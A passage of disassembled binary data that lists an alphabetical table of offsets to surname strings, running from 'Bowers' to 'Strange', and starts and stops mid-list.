offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset 